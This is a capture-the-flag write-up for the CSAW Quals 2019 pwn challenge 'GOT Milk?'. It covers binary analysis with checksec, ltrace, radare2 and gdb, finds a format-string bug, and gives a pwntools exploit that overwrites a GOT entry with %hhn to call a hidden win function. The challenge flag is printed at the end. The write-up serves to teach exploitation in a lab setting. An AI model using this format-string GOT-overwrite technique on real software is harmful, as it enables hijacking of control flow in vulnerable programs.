Writeup: CSAW Quals 2019 - GOT Milk?

Information

  • category : pwn
  • points : 50

Description

GlobalOffsetTable milk? nc pwn.chal.csaw.io 1004

Two files : gotmilk, libmylib.so

Writeup

Let’s check the file type and security properties:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ file gotmilk 
gotmilk: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=703440832efdbe6e4cbf734b303a31c4da7eb4e2, with debug_info, not stripped

$ checksec --verbose --file=gotmilk
RELRO : Partial RELRO
STACK Canary : No
NX : Enabled
PIE : No
RPATH : No RPATH
RUNPATH : No RUNPATH
Symbols : 76
Fortify : No
Fortified : 0
Fortifiable : 2

If we try to execute the program we get an error because the loader can’t find the libmylib.so, to fix the error we need to copy the library in /usr/lib32.

Then we can easily ltrace the binary :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ ltrace ./gotmilk
__libc_start_main(0x80485f6, 1, 0xffc1cc04, 0x80486d0 <unfinished ...>
setvbuf(0xf7f69d40, 0, 2, 0) = 0
setvbuf(0xf7f69580, 0, 2, 0) = 0
setvbuf(0xf7f69ca0, 0, 2, 0) = 0
puts("Simulating loss..."Simulating loss...
) = 19
lose(0, 0xc10000, 1, 0xf7fec800
No flag for you!
) = 18
printf("Hey you! GOT milk? "Hey you! GOT milk? ) = 19
fgets(aaa
"aaa\n", 100, 0xf7f69580) = 0xffc1caec
printf("Your answer: "Your answer: ) = 13
printf("aaa\n"aaa
) = 4
lose(0, 0xc10000, 1, 0xa616161
No flag for you!
) = 18
+++ exited (status 0) +++

As we can see the binary calls the function lose two times, let’s see what functions are available on libmylib.so using radare2.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
$ r2 -d libmylib.so
[0xf7f77090]> aaa
[0xf7f77090]> afl
0xf7f77090 1 4 entry0
0xf7f771f8 2 49 -> 44 sym.lose
0xf7f77040 1 6 sym.imp.puts
0xf7f77189 6 111 sym.win
0xf7f770a0 4 57 -> 52 sym.deregister_tm_clones
0xf7f77185 1 4 sym.__x86.get_pc_thunk.dx
0xf7f770e0 4 71 sym.register_tm_clones
0xf7f77130 5 71 entry.fini0
0xf7f77080 1 6 sym..plt.got
0xf7f77180 1 5 entry.init0
0xf7f7722c 1 20 sym._fini
0xf7f77000 3 32 map.home_meowmeow_CeSeNA_pump_ctf_csaw_quals_2019_gotmilk_libmylib.so.r_x
0xf7f77030 1 6 sym.imp.fclose
0xf7f76000 32 4128 -> 4132 loc.imp._ITM_deregisterTMCloneTable
0xf7f77050 1 6 sym.imp.fopen
0xf7f77060 1 6 sym.imp.putchar
0xf7f77070 1 6 sym.imp.getc

# We have a function called win, let's see...

/ (fcn) sym.win 111
| sym.win ();
| ; var int32_t var_10h @ ebp-0x10
| ; var int32_t var_ch @ ebp-0xc
| ; var int32_t var_4h @ ebp-0x4
| 0xf7f77189 55 push ebp
| 0xf7f7718a 89e5 mov ebp, esp
| 0xf7f7718c 53 push ebx
| 0xf7f7718d 83ec14 sub esp, 0x14
| 0xf7f77190 e8fbfeffff call entry0
| 0xf7f77195 81c36b2e0000 add ebx, 0x2e6b
| 0xf7f7719b 83ec08 sub esp, 8
| 0xf7f7719e 8d8300e0ffff lea eax, [ebx - 0x2000]
| 0xf7f771a4 50 push eax
| 0xf7f771a5 8d8302e0ffff lea eax, [ebx - 0x1ffe]
| 0xf7f771ab 50 push eax
| 0xf7f771ac e89ffeffff call sym.imp.fopen ; file*fopen(const char *filename, const char *mode)
| 0xf7f771b1 83c410 add esp, 0x10
| 0xf7f771b4 8945f4 mov dword [var_ch], eax
| 0xf7f771b7 837df400 cmp dword [var_ch], 0
| ,=< 0xf7f771bb 7435 je 0xf7f771f2
| ,==< 0xf7f771bd eb0e jmp 0xf7f771cd
| || ; CODE XREF from sym.win @ 0xf7f771e2
| .---> 0xf7f771bf 83ec0c sub esp, 0xc
| :|| 0xf7f771c2 ff75f0 push dword [var_10h]
| :|| 0xf7f771c5 e896feffff call sym.imp.putchar ; int putchar(int c)
| :|| 0xf7f771ca 83c410 add esp, 0x10
| :|| ; CODE XREF from sym.win @ 0xf7f771bd
| :`--> 0xf7f771cd 83ec0c sub esp, 0xc
| : | 0xf7f771d0 ff75f4 push dword [var_ch]
| : | 0xf7f771d3 e898feffff call sym.imp.getc ; int getc(FILE *stream)
| : | 0xf7f771d8 83c410 add esp, 0x10
| : | 0xf7f771db 8945f0 mov dword [var_10h], eax
| : | 0xf7f771de 837df0ff cmp dword [var_10h], 0xffffffffffffffff
| `===< 0xf7f771e2 75db jne 0xf7f771bf
| | 0xf7f771e4 83ec0c sub esp, 0xc
| | 0xf7f771e7 ff75f4 push dword [var_ch]
| | 0xf7f771ea e841feffff call sym.imp.fclose ; int fclose(FILE *stream)
| | 0xf7f771ef 83c410 add esp, 0x10
| | ; CODE XREF from sym.win @ 0xf7f771bb
| `-> 0xf7f771f2 90 nop
| 0xf7f771f3 8b5dfc mov ebx, dword [var_4h]
| 0xf7f771f6 c9 leave
\ 0xf7f771f7 c3 ret

Ok, so the win function open a file, to check which file we can see the strings that are in the library :

1
2
3
4
5
$ rabin2 -z libmylib.so 
[Strings]
Num Paddr Vaddr Len Size Section Type String
000 0x00002002 0x00002002 8 9 (.rodata) ascii flag.txt
001 0x0000200b 0x0000200b 17 18 (.rodata) ascii \nNo flag for you!

Without too many problems is easy to see that the fopen in the win function will read "flag.txt". An alternative way was to use cutter or ghidra.

How to pwn?

From the ltrace we can see that this binary is vulnerable to a format string, let’s prove it :

1
2
3
4
5
6
7
8
$ python -c 'print("aaaa" + "%08x." * 10)' | ./gotmilk 
Simulating loss...

#offset...
No flag for you! #1 #2 #3 #4 #5 #6 #7
Hey you! GOT milk? Your answer: aaaa00000064.f7f4d580.0804866f.00000000.00c10000.00000001.61616161.78383025.3830252e.30252e78.

No flag for you!

Ok, we have also computed the offset that we need to redirect the %n, now we need to see which values we need to write :

1
2
3
4
from pwn import *
lib = ELF('./libmylib.so')
print hex(lib.symbols['lose'])
print hex(lib.symbols['win'])

output :

1
2
3
0x11f8	# lose 
0x1189 # win
# Only the last byte change

Alternative way using gdb:

1
2
3
4
5
6
7
$ gdb -q ./gotmilk
pwndbg> start
p win
$1 = {void (void)} 0xf7f7e189 <win>
pwndbg> p lose
$2 = {void (void)} 0xf7f7e1f8 <lose>
# Only the last byte change

Then we need to know the address of lose in the GOT (we need to overwrite that value with the memory address of win).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
pwndbg> disass main
Dump of assembler code for function main:
0x080485f6 <+0>: lea ecx,[esp+0x4]
0x080485fa <+4>: and esp,0xfffffff0
0x080485fd <+7>: push DWORD PTR [ecx-0x4]
0x08048600 <+10>: push ebp
0x08048601 <+11>: mov ebp,esp
0x08048603 <+13>: push ebx
0x08048604 <+14>: push ecx
0x08048605 <+15>: sub esp,0x70
0x08048608 <+18>: call 0x8048530 <__x86.get_pc_thunk.bx>
0x0804860d <+23>: add ebx,0x19f3
0x08048613 <+29>: mov eax,DWORD PTR [ebx-0x4]
0x08048619 <+35>: mov eax,DWORD PTR [eax]
0x0804861b <+37>: push 0x0
0x0804861d <+39>: push 0x2
0x0804861f <+41>: push 0x0
0x08048621 <+43>: push eax
0x08048622 <+44>: call 0x80484c0 <setvbuf@plt>
0x08048627 <+49>: add esp,0x10
0x0804862a <+52>: mov eax,DWORD PTR [ebx-0x8]
0x08048630 <+58>: mov eax,DWORD PTR [eax]
0x08048632 <+60>: push 0x0
0x08048634 <+62>: push 0x2
0x08048636 <+64>: push 0x0
0x08048638 <+66>: push eax
0x08048639 <+67>: call 0x80484c0 <setvbuf@plt>
0x0804863e <+72>: add esp,0x10
0x08048641 <+75>: mov eax,DWORD PTR [ebx-0x10]
0x08048647 <+81>: mov eax,DWORD PTR [eax]
0x08048649 <+83>: push 0x0
0x0804864b <+85>: push 0x2
0x0804864d <+87>: push 0x0
0x0804864f <+89>: push eax
0x08048650 <+90>: call 0x80484c0 <setvbuf@plt>
0x08048655 <+95>: add esp,0x10
0x08048658 <+98>: sub esp,0xc
0x0804865b <+101>: lea eax,[ebx-0x18b0]
0x08048661 <+107>: push eax
0x08048662 <+108>: call 0x80484a0 <puts@plt>
0x08048667 <+113>: add esp,0x10
0x0804866a <+116>: call 0x8048480 <lose@plt>
0x0804866f <+121>: sub esp,0xc
0x08048672 <+124>: lea eax,[ebx-0x189d]
0x08048678 <+130>: push eax
0x08048679 <+131>: call 0x8048470 <printf@plt>
0x0804867e <+136>: add esp,0x10
0x08048681 <+139>: mov eax,DWORD PTR [ebx-0x8]
0x08048687 <+145>: mov eax,DWORD PTR [eax]
0x08048689 <+147>: sub esp,0x4
0x0804868c <+150>: push eax
0x0804868d <+151>: push 0x64
0x0804868f <+153>: lea eax,[ebp-0x6c]
0x08048692 <+156>: push eax
0x08048693 <+157>: call 0x8048490 <fgets@plt>
0x08048698 <+162>: add esp,0x10
0x0804869b <+165>: sub esp,0xc
0x0804869e <+168>: lea eax,[ebx-0x1889]
0x080486a4 <+174>: push eax
0x080486a5 <+175>: call 0x8048470 <printf@plt>
0x080486aa <+180>: add esp,0x10
0x080486ad <+183>: sub esp,0xc
0x080486b0 <+186>: lea eax,[ebp-0x6c]
0x080486b3 <+189>: push eax
0x080486b4 <+190>: call 0x8048470 <printf@plt>
0x080486b9 <+195>: add esp,0x10
0x080486bc <+198>: call 0x8048480 <lose@plt> # Disass here
0x080486c1 <+203>: mov eax,0x0
0x080486c6 <+208>: lea esp,[ebp-0x8]
0x080486c9 <+211>: pop ecx
0x080486ca <+212>: pop ebx
0x080486cb <+213>: pop ebp
0x080486cc <+214>: lea esp,[ecx-0x4]
0x080486cf <+217>: ret
End of assembler dump.
pwndbg> disass 0x8048480
Dump of assembler code for function lose@plt:
0x08048480 <+0>: jmp DWORD PTR ds:0x804a010
0x08048486 <+6>: push 0x8
0x0804848b <+11>: jmp 0x8048460
End of assembler dump.
pwndbg> x 0x804a010
# lose_got # Here we need to set the address of win
0x804a010 <lose@got.plt>: 0x08048486

Now we just need to write in the last byte of 0x804a010 0x89 = 137 (last byte of win).
To do it we can use %7$hhn (no h = write 4 bytes, one h = write 2 bytes, two h = write 1 byte).

Exploit

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

conn = remote('pwn.chal.csaw.io', 1004)
lose_got = 0x0804a010
# %133x because we already write 4 bytes with p32(lose_got)
payload = p32(lose_got) + "%133x" + "%7$hhn"

log.info(conn.recvuntil('milk? '))
conn.sendline(payload)
log.info(conn.recvline())
log.info(conn.recvline())

Flag

flag{y0u_g00000t_mi1k_4_M3!?}